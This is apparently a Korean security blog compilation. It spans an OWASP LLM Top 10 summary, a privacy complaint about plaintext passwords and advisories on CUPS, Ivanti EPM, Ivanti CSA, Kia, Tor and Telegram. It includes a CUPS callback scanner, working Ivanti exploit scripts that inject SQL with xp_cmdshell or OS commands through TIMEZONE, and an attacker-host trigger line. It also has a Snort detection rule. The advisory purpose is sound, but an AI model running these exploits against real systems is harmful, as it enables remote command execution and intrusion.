- OWASP는 LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표 - LLM을 보완하며 학습 데이터의 무결성을 확보하는 검색 증강 생성(Retrieval-Augmented Generation, RAG)
기타
- ChatGPT 등장 후 LLM은 AI 분야의 핵심 기술로 주목 받음 > LLM 관련 서비스들이 등장하고 있지만, 여러 취약점이 나오며 도입 및 사용을 꺼리는 현상이 나타남
- OWASP, LLM 애플리케이션의 가장 치명적인 취약점 10가지 발표 ① 프롬프트 주입(Prompt Injection) > 악의적인 프롬프트(질문)를 입력해 LLM이 본래 정책이나 가이드라인에 구애받지 않고 공격자 의도대로 작동하도록 하는 취약점 > LLM 접근 권한 제어 강화와 외부 콘텐츠 분리 등을 통해 완화할 수 있음
② 불완전한 출력 처리(Insecure Output Handling) > LLM에서 생성된 출력이 검증 없이 다른 시스템으로 전달될 경우, 원격 코드 실행 등의 위협이 발생할 수 있음 > 제로 트러스트 접근 방식 사용과 입력 유효성 검사 등을 통해 예방할 수 있음
③ 학습 데이터 중독(Training Data Poisoning) > 사전 학습 데이터를 조작해 모델의 보안성과 효율성을 손상시키는 취약점 > 사용자가 오염된 정보에 노출되거나 시스템 성능 저하를 초래할 수 있음 > 안정성이 검증된 학습 데이터를 사용해 예방할 수 있음
④ 모델 서비스 거부(Model Denial of Service) > 공격자가 대량의 리소스를 소모시켜 다른 사용자의 서비스 품질을 저하시키고 높은 리소스 비용을 발생시킴 > 사용자 입력 제한 규칙 준수와 리소스 사용량 제한 등을 통해 예방할 수 있음
⑤ 공급망 취약점(Supply Chain Vulnerabilities) > 체계적인 방식이나 도구 없이는 LLM 공급망을 관리하기 어려워 소프트웨어 공급망 취약점과 유사한 위협이 발생할 수 있음 > 신뢰할 수 있는 공급 업체 사용과 패치 정책 구현 등을 고려해야 함
⑥ 민감 정보 노출(Sensitive Information Disclosure) > LLM의 답변을 통해 민감한 정보가 노출되고, 이로 인해 개인정보 침해나 지적재산의 무단 액세스가 발생할 수 있음 > 적절한 데이터 정제 기술로 민감 데이터가 학습 데이터에 포함되지 않도록 해야 함
⑦ 불완전 플러그인 설계(Insecure Plugin Design) > LLM 플러그인은 사용자가 다른 앱 사용 중 자동으로 호출되는 확장 기능 > 모델이 다른 플랫폼에서 제공될 때 앱 실행을 제어할 수 없어 원격코드 실행 등 위협이 발생할 수 있음 > 이를 예방하기 위해 민감한 작업 실행 시 수동 승인을 요구하고 인증 ID를 적용해야 함
⑧ 과도한 에이전시(Excessive Agency) > 기능 호출 권한을 가진 에이전트가 LLM의 출력에 대응해 해로운 작업을 수행할 수 있음 > 이는 세분화된 기능을 갖춘 플러그인을 사용하고 최소한의 권한으로 제한하는 등의 방법으로 예방할 수 있음
⑨ 과도한 의존(Overreliance) > LLM이 환각 현상이 발생할 수 있움 > 파인튜닝, 임베딩, RAG 기법 등으로 품질을 개선하고 검증을 받으며, 사용자가 LLM의 한계를 인식하게 해 예방 가능
⑩ 모델 도난(Model Theft) > 공격자가 해킹을 통해 LLM 모델에 무단으로 접근하거나 모델이 유출될 수 있음 > 강력한 보안 조치를 통해 예방할 수 있음
※ 기타 > 모델의 정보가 최신이 아니거나, 편향된 데이터를 학습해 차별적인 답
⑪ 결론 > LLM의 안정성을 강화하기 위해서는 학습 데이터의 무결성 확보, 권한·접근 제어 강화, 모델 관리 및 모니터링이 필요 > 사용자가 LLM의 한계를 인식하는 것도 중요
- 기존의 LLM > 사용자 입력으로 학습된 데이터에 기반해 답변 생성 > 사용자가 LLM에 학습되지 않은 질문을 하면, LLM의 데이터 중 가장 확률이 높은 정보를 조합해 답변 생성 > 이 과정에서 환각 현상 (허위 또는 오래된 정보를 사실인 듯 제공) 발생 가능
- 검색 증강 생성(Retrieval-Augmented Generation, RAG) > 환각 현상을 보완하며 학습 데이터의 무결성을 확보 > LLM이 답변을 생성하기 전 외부 학습 데이터 소스를 참조해 정확도를 높이는 방식 > 방대한 양의 데이터를 학습한 LLM이 특정 도메인이나 조직의 내부 데이터를 활용해 보다 정밀한 답변을 생성할 수 있음
> RAG 작동 방식: 외부 데이터 생성-관련 정보 검색-LLM 프롬프트 확장-외부 데이터 업데이트 ① 외부 데이터 생성 > API, 데이터베이스(DB), 문서 등 다양한 소스에서 원하는 데이터를 가져옴 > 데이터는 파일, DB 레코드, 텍스트 등 여러 형식 > LLM이 이해하도록 복잡한 데이터를 임베딩 언어모델을 사용해 벡터 형태로 변환 > 변환된 벡터 데이터를 벡터 DB에 저장해 지식 라이브러리를 생성
② 관련 정보 검색 > 사용자가 프롬프트를 입력하면, 질의 인코더(Query Encoder)가 사용자 프롬프트를 벡터 형태로 인코딩한 후 관련된 정보를 벡터 DB에서 검색해 가져옴 > 관련 정보 검색은 키워드 검색, 시맨틱 검색, 두 방법을 결합한 하이브리드 검색 방법이 있음
③ LLM 프롬프트 확장 > 검색된 데이터를 컨텍스트(Context)에 추가해 사용자 프롬프트를 보강 > 확장된 프롬프트를 LLM에 전달하면, LLM이 검색 데이터를 활용해 답변 생성
④ 외부 데이터 업데이트 > 문서를 비동기적으로 업데이트하는 것을 의미
- RAG 이외에 LLM의 환각 현상을 줄이는 또 다른 방법은 ‘파인튜닝(Fine-Tuning) > LLM에 도메인 특화 데이터를 학습시켜 맞춤형 모델로 업데이트하는 방법
> 메일로 수신한 계정 정보 확인 결과 PW가 평문으로 노출되어 있었고, KISA에 1차 문의 진행
답변 요약
- 개인정보 보호법 제29조(안전조치의무) > 개인정보처리자는 개인정보가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안전성 확보에 필요한 기술적ㆍ관리적 및 물리적 조치를 하여야 한다.
- 개인정보 보호법제29조를 근거하여 시행령 제16조제2항, 제30조 및 제30조의2에서 다음의 기준을 정함 > 개인정보처리자가 개인정보를 처리함에 있어서 개인정보가 분실·도난·유출·위조·변조 또는 훼손 되지 아니하도록 안전성 확보에 필요한 기술적·관리적 및 물리적 안전조치에 관한 최소한의 기준을 정하고 있음
- 개인정보의 안전성 확보조치 기준에서의 비밀번호 > 정보주체 및 개인정보취급자 등이 개인정보처리시스템 또는 정보통신망을 관리하는 시스템 등에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보 > 제7조 제1항: 개인정보처리자는 비밀번호, 생체인식정보 등 인증정보를 저장 또는 정보통신망을 통하여 송·수신하는 경우에 이를 안전한 암호 알고리즘으로 암호화 > 제7조 제4항: 개인정보처리자는 개인정보를 정보통신망을 통하여 인터넷망 구간으로 송·수신하는 경우에는 이를 안전한 암호 알고리즘으로 암호화
- 정보통신망을 통한 개인정보 암호화 전송을 위해 프로토콜이 탑재된 기술을 활용하거나, 개인정보를 암호화 저장한 후 이를 전송하는 방법 등을 사용할 수 있으며 만약 암호화 응용프로그램 대신하여 보안서버를 구축하고 있다면 이를 본 법률에 저촉된다고 보기는 어려울 것 > 단, 개인정보의 기술적 관리적 보호조치 기준 제6조제3항에 따른 보안서버를 구축하고 있지 않은 경우 문제의 소지가 있을 수 있음
- 문의 시 제출한 증적자료를 바탕으로 조사 착수 여부에 대해 검토 > 단, 신고서가 누락된 경우 상담으로 처리되므로, 검토를 원하는 경우 접수방법을 참고하여 접수 권고
2. 계정 정보 평문 노출 관련 1차 신고
- 위 내용과 관련하여 KISA에 개인정보 침해 신고 접수
> 추가로, 도서 문의 후 계정 탈퇴를 진행하였으나 즉각 삭제가 아닌 일정 시간 후 삭제되어 관련 내용에 관한 문의 진행
> 삭제 후 일정 시간 동안 계정 찾기를 통해 ID/PW를 찾을 수 있었으며, 마찬기지로 PW가 평문으로 노출되어 수신
> 개인정보 삭제 요구와 관련된 답변을 수신 하였으며, 비밀번호 평문 노출 관련 신고를 권고
※ 개인정보 침해 또는 노출 신고 시 해당 내용만을 양식에 맞추어 신고할 필요가 있음을 인지
답변 요약
- 개인정보 보호법 제36조(개인정보의 정정·삭제) > 제1항: 자신의 개인정보의 열람을 요구한 정보주체는 그 개인정보의 정정 또는 삭제를 요구할 수 있음 > 제2항: 제1항에 따른 정보주체의 요구를 받은 개인정보처리자는 다른 법령에 특별한 규정이 있는 경우를 제외하고는 정보주체의 요구에 필요한 조치를 하여야 함 > 제6항: 제1항·제2항에 따른 정정 또는 삭제 요구 통지 방법 및 절차 등에 필요한 사항을 시행령 제43조(개인정보의 정정·삭제 등)로 정하고 있음
- 개인정보 보호법 제36조 제6항을 근거하여 시행령 제43조(개인정보의 정정·삭제 등) 제3항 > 개인정보의 정정·삭제 요구를 받은 개인정보처리자는 요구를 받는 날로부터 근무일 기준 10일이내에 조치 하도록 규정 > 따라서, 삭제 요구 후 기간 내 조치한 경우 위반의 소지가 있다고 보기는 어려움
- 개인정보의 삭제로 인하여 관련 자료의 첨부가 어려움 > 침해받은 자에 해당함을 입증할 수 없으나 개인정보 보호법 위반의 소지가 있고, 제3자가 개인정보의 권리 또는 이익을 현저히 침해받을 우려가 있음 > 따라서, 신고를 원하는 경우 공익신고자 보호법에 따른 공익신고에 해당하므로 개인정보보호위원회로 신고 권고
3. 계정 정보 평문 노출 관련 2차 신고
- 개인정보보호위원회로 신고 및 KISA로 민원 이송 답변
답변 요약
- 안전조치의무 위반 등 개인정보 침해신고 관련 내용 > 개인정보보호법 제62조(침해 사실의 신고 등) 및 시행령 제59조(침해 사실의 신고 등)에 따라 개인정보보호법 침해사실을 접수 및 조사할 수 있도록 한국인터넷진흥원으로 이송
4. 계정 정보 평문 노출 관련 3차 신고
- KISA로부터 해당 민원은 이전 개인정보 노출 신고건과 동일한 건으로 침해신고센터에서 검토 진행 안내 메일 수신
> KISA 개인정보침해신고센터로부터 안전조치 의무 시행(비밀번호 암호화) 관련 신고 접수 안내 메일 수신 후 대기 중
> IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미
- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌
> root로 실행
> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음
2.취약점 [2]
- CUPS의 cups-browsed 데몬에서 발생하는 취약점
> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음
- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]
> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생 > 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성 > 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발
서비스명
영향받는 버전
cups-browsed
2.0.1 이하
libcupsfilters
2.1b1 이하
libppd
2.1b1 이하
cups-filters
2.0.1 이하
2.1 주요내용
2.1.1 CVE-2024-47176
- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)
> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷전송
> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨
0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever
2.1.2 CVE-2024-47076
- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송
> libcupsfilters.cfGetPrinterAttributes()는 반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성
※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수 ※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함
2.1.3 CVE-2024-47175
- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입
> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 데이터를 PPD 파일에 주입할 수 있음
> 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음
> 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우 ⒝dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'
> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정
③ 방화벽 설정 강화
> $ sudo ufw deny proto udp from any to any port 631
④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]
⒜ 동작 과정
> 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음) > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성 > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송 > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다.
⒝ 결과
> 스캔 결과는 총 2개의 Log에 기록
> cups.log_응답한 장치의 IP&CUOS 버전 정보 기록
> requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록
#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
# a simple function to enable easy changing of the timestamp format
def timestamp():
return time.strftime("%Y-%m-%d %H:%M:%S")
# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
# replace default access log behavior (logging to stderr) with logging to access.log
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
def log_message(self, _format, *_args):
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
f'{self.headers["User-Agent"]}\n'
self.server.access_log.write(log_line)
self.server.access_log.flush()
# log raw requests from cups-browsed instances including POST data
def log_raw_request(self):
# rebuild the raw HTTP request and log it to requests.log for debugging purposes
raw_request = f'[{timestamp()}]\n'
raw_request += f'{self.requestline}\r\n'
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())
content_length = int(self.headers.get('Content-Length', 0))
if content_length > 0:
raw_body = self.rfile.read(content_length)
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
else:
self.server.request_log.write(raw_request.encode('utf-8'))
self.server.request_log.flush()
# response to all requests with a static response explaining that this server is performing a vulnerability scan
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server
def send_static_response(self):
self.send_response(200, 'OK')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')
# handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
def do_GET(self):
self.send_static_response()
# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
def do_POST(self):
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
if self.path.startswith('/printers/'):
ip, port = self.client_address
# log the cups-browsed request to cups.log and requests.logs and output to console
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
self.server.cups_log.flush()
self.log_raw_request()
self.send_static_response()
# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
def __init__(self, server_address, handler_class, log_dir='logs'):
super().__init__(server_address, handler_class)
# create 'logs' directory if it doesn't already exist
log_dir = 'logs'
if not os.path.exists(log_dir):
os.makedirs(log_dir)
# create three separate log files for easy debugging and analysis
# access.log - any web requests
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
self.access_log = open(f'{log_dir}/access.log', 'a')
self.request_log = open(f'{log_dir}/requests.log', 'ab')
self.cups_log = open(f'{log_dir}/cups.log', 'a')
def shutdown(self):
# close all log files on shutdown before shutting down
self.access_log.close()
self.request_log.close()
self.cups_log.close()
super().shutdown()
# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
host, port = callback_server.split(':')
port = int(port)
if port < 1 or port > 65535:
raise RuntimeError(f'invalid callback server port: {port}')
server_address = (host, port)
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
print(f'[{timestamp()}] callback server running on port {host}:{port}...')
# start the HTTP server in a separate thread to avoid blocking the main thread
server_thread = threading.Thread(target=_httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
return _httpd
def scan_range(ip_range, callback_server, scan_unsafe=False):
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')
# expand the CIDR notation into a list of IP addresses
# make scanning only host addresses the default behavior (exclude the network and broadcast address)
# the user can override this with flag --scan-unsafe
if scan_unsafe:
ip_range = list(ipaddress.ip_network(ip_range))
else:
ip_range = list(ipaddress.ip_network(ip_range).hosts())
if len(ip_range) < 1:
raise RuntimeError("error: invalid ip range")
print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')
# send the CUPS command to each IP on port 631 to trigger a callback to our callback server
for ip in ip_range:
ip = str(ip)
udp_socket.sendto(udp_callback, (ip, 631))
# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
print(f'[{timestamp()}] shutting down server and exiting...')
_httpd.shutdown()
sys.exit(0)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog='python3 scanner.py',
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
)
parser.add_argument('--callback', required=True, dest='callback_server',
help='the host:port to host the callback server on (must be reachable from target network) '
'example: --callback 192.168.0.1:1337')
parser.add_argument('--targets', required=True, dest='target_ranges',
help='a comma separated list of ranges '
'example: --targets 192.168.0.0/24,10.0.0.0/8')
parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
help='Typically the first and last address in a CIDR are reserved for the network address and '
'broadcast address respectively. By default we do not scan these as they should not be '
'assigned. However, you can override this behavior by setting --scan-unsafe')
args = parser.parse_args()
try:
# start the HTTP server to captures cups-browsed callbacks
print(f'[{timestamp()}] starting callback server on {args.callback_server}')
httpd = start_server(args.callback_server)
# register sigint handler to capture CTRL + C
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))
# split the ranges up by comma and initiate a scan for each range
targets = args.target_ranges.split(',')
print(f'[{timestamp()}] starting scan')
for target in targets:
scan_range(target, args.callback_server, args.scan_unsafe)
print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')
# loop until user uses CTRL + C to stop server
while True:
time.sleep(1)
except RuntimeError as e:
print(e)
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
- 취약점 흐름은 다음과 같음
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)
- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1] - 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능 - 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음
2. 주요 내용
- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석 > 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음
※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달 ※ 앱은 해당 API에 직접 액세스
- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청
- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달
> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID
2.1 Kia 딜러 인프라 취약점
- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견
> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음
- GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견 - 현재까지 원격 코드 실행이 가능하다는 것만 알려져 있으며, 다음 주 중 공개 예상
내용
- 모든 GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견 > 공격자가 취약한 기기를 제어할 수 있게 해줌 > 다음 주 중 전체 공개 예상 > 심각성에도 불구하고 아직 CVE가 할당되지 않음 > 취약성의 특정 측면이 보안 위험을 초래하는지 논의 중
- 연구진들을 해당 취약성과 Log4j/Log4Shell(CVE-2021-44228) 취약성과 유사점을 발견 > 리눅스 환경이기에 취약성 범위와 피해범위는 파괴적일 것
- 결과가 나오는 동안 조직에 어떤 리눅스 및 GNU 요소들이 사용되고 있는지 파악해 두는 게 안전 > SBOM을 조사하여 취약한 부분을 파악하고 패치할 준비를 해야함
- 독일 경찰, 범죄자 체포에 토르 네트워크 해킹 주장 - 텔레그램, 법적 요청 시 사용자 정보 제공 결정
내용
- 독일 방송사 파노라마 및 유튜브 채널 STRG_F > 독일 경찰이 토르 네트워크를 해킹해 범죄자를 체포했다 주장 > 그러나, 독일 경찰이 토르를 해킹한 방법에 관한 내용에 대해서는 아무런 설명을 하지 않음 > 토르의 익명성 기능에 대한 의구심 증가
- 토르 프로젝트, 아직까지 토르가 직접 침해됐다는 증거는 없는 상황 입장문 발표
① 가능성 1 > 경찰이 토르를 뚫어낸 것은 범인들이 Ricochet(P2P 인스턴트 메시징 프로그램)을 사용했기 때문이 가능성이 높다 > Ricochet은 이미 오래 전 지원이 중단된 앱이기 때문에 취약점 익스플로잇 등을 통해 침해하는 게 가능하다는 것
② 가능성 2 > 또는, 가드 노드 공격(guard node discovery attack) 기법을 사용 했을 가능성 존재 > 토르는 여러 노드들로 구성되어 있으며, 첫 번째 중계를 담당하는 노드를 가드노드라 함 > 가드노드를 발견한다면 사용자의 실제 IP 주소를 알아낼 수 있는 것으로 알려짐 > 토르는 해당 문제점을 2018년에 이미 수정했으며, 범죄자가 이 수정법을 적용하지 않았을 가능성 존재 =============================================================================== - 텔레그램 개인정보보호 정책 변경 > 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 변경 > 플랫폼 규정을 위반한 사용자에 대해 유효한 법적 요청이 있을 경우에 한해서만 적용 ※ 이전 정책: 테러 용의자와 관련된 경우에만 사용자 데이터를 공유
- 투명성을 유지하기 위해 사용자 데이터가 공유된 모든 경우를 분기별 보고서에 포함시킬 예정 > hxxps://t[.]me/transparency를 통해 액세스할 수 있도록 할 예정 > 현재는 업데이트 진행 중이며, 아직 해당 봇은 정상적으로 작동하지 않고 있음
- 플랫폼 내 불법 활동을 방지하기 위한 조치 또한 강화 > 검색 결과에서 문제 있는 콘텐츠 제거 진행 및 불법 콘텐츠와 관련된 검색어 철저히 검토 예정 > 사용자들은 @SearchReport 봇을 통해 불법 또는 위험 콘텐츠 신고 가능
기타
- 토르 브라우저의 위험을 줄이는 방법 > VPN 사용 : 토르 브라우저의 익명성 보장은 완전하지 않으므로 VPN을 적용할 경우 추적이 어려워짐 > 신뢰 가능한 사이트만 방문 : 토르 브라우저라고 해서 악성 링크나 첨부파일을 자동으로 막아주지 않으므로 기본 보안 수칙 유지 > 보안 프로그램 사용 : 보안 프로그램을 늘 활성화
- 우크라이나 국가 사이버보안 조정센터 > 국가 보안 문제를 이유로 정부 기관, 군 부대, 주요 인프라에서 텔레그램 사용 금지
- 텔레그램 정책 변화에 대한 견해 > 플랫폼의 책임성을 높인다는 긍정적 견해 > 사용자 프라이버시와 정부의 과도한 접근 가능성에 대한 우려
- 프라이버시에 민감한 사용자들은 더 강력한 데이터 보호 정책을 가진 메시징 앱인 시그널(Signal)과 같은 플랫폼을 사용할 것을 권고
- 어떤 플랫폼에서든 개인정보 공유 시 신중을 기할 것 강조 및 정책 변경 등의 변경이 있음을 유념해야 함
- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점
> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함
영향받는 버전: Ivanti CSA 4.6
- DateTimeTab.php의 handleDateTimeSubmit() [2]
> HTTP 요청을 구문 분석 > TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출
- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출
- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3] > CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제 > 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨
#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(url, username, password, command):
u = username
p = password
s = requests.Session()
r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
if m:
ldcsa = m.group(1)
print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
else:
print(f"[-] Failed getting LDCSA_CRSF token")
sys.exit(0)
payload = {
"dateTimeFormSubmitted": "1",
"TIMEZONE": f"; `{command}` ;",
"CYEAR": "2024",
"CMONTH": "9",
"CDAY": "13",
"CHOUR": "12",
"CMIN": "34",
"LDCSA_CSRF": ldcsa,
"SUBMIT_TIME": "Save"
}
print(f"[*] Sending payload...")
r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('--username', help='The application username', required=True)
parser.add_argument('--password', help='The application password', required=True)
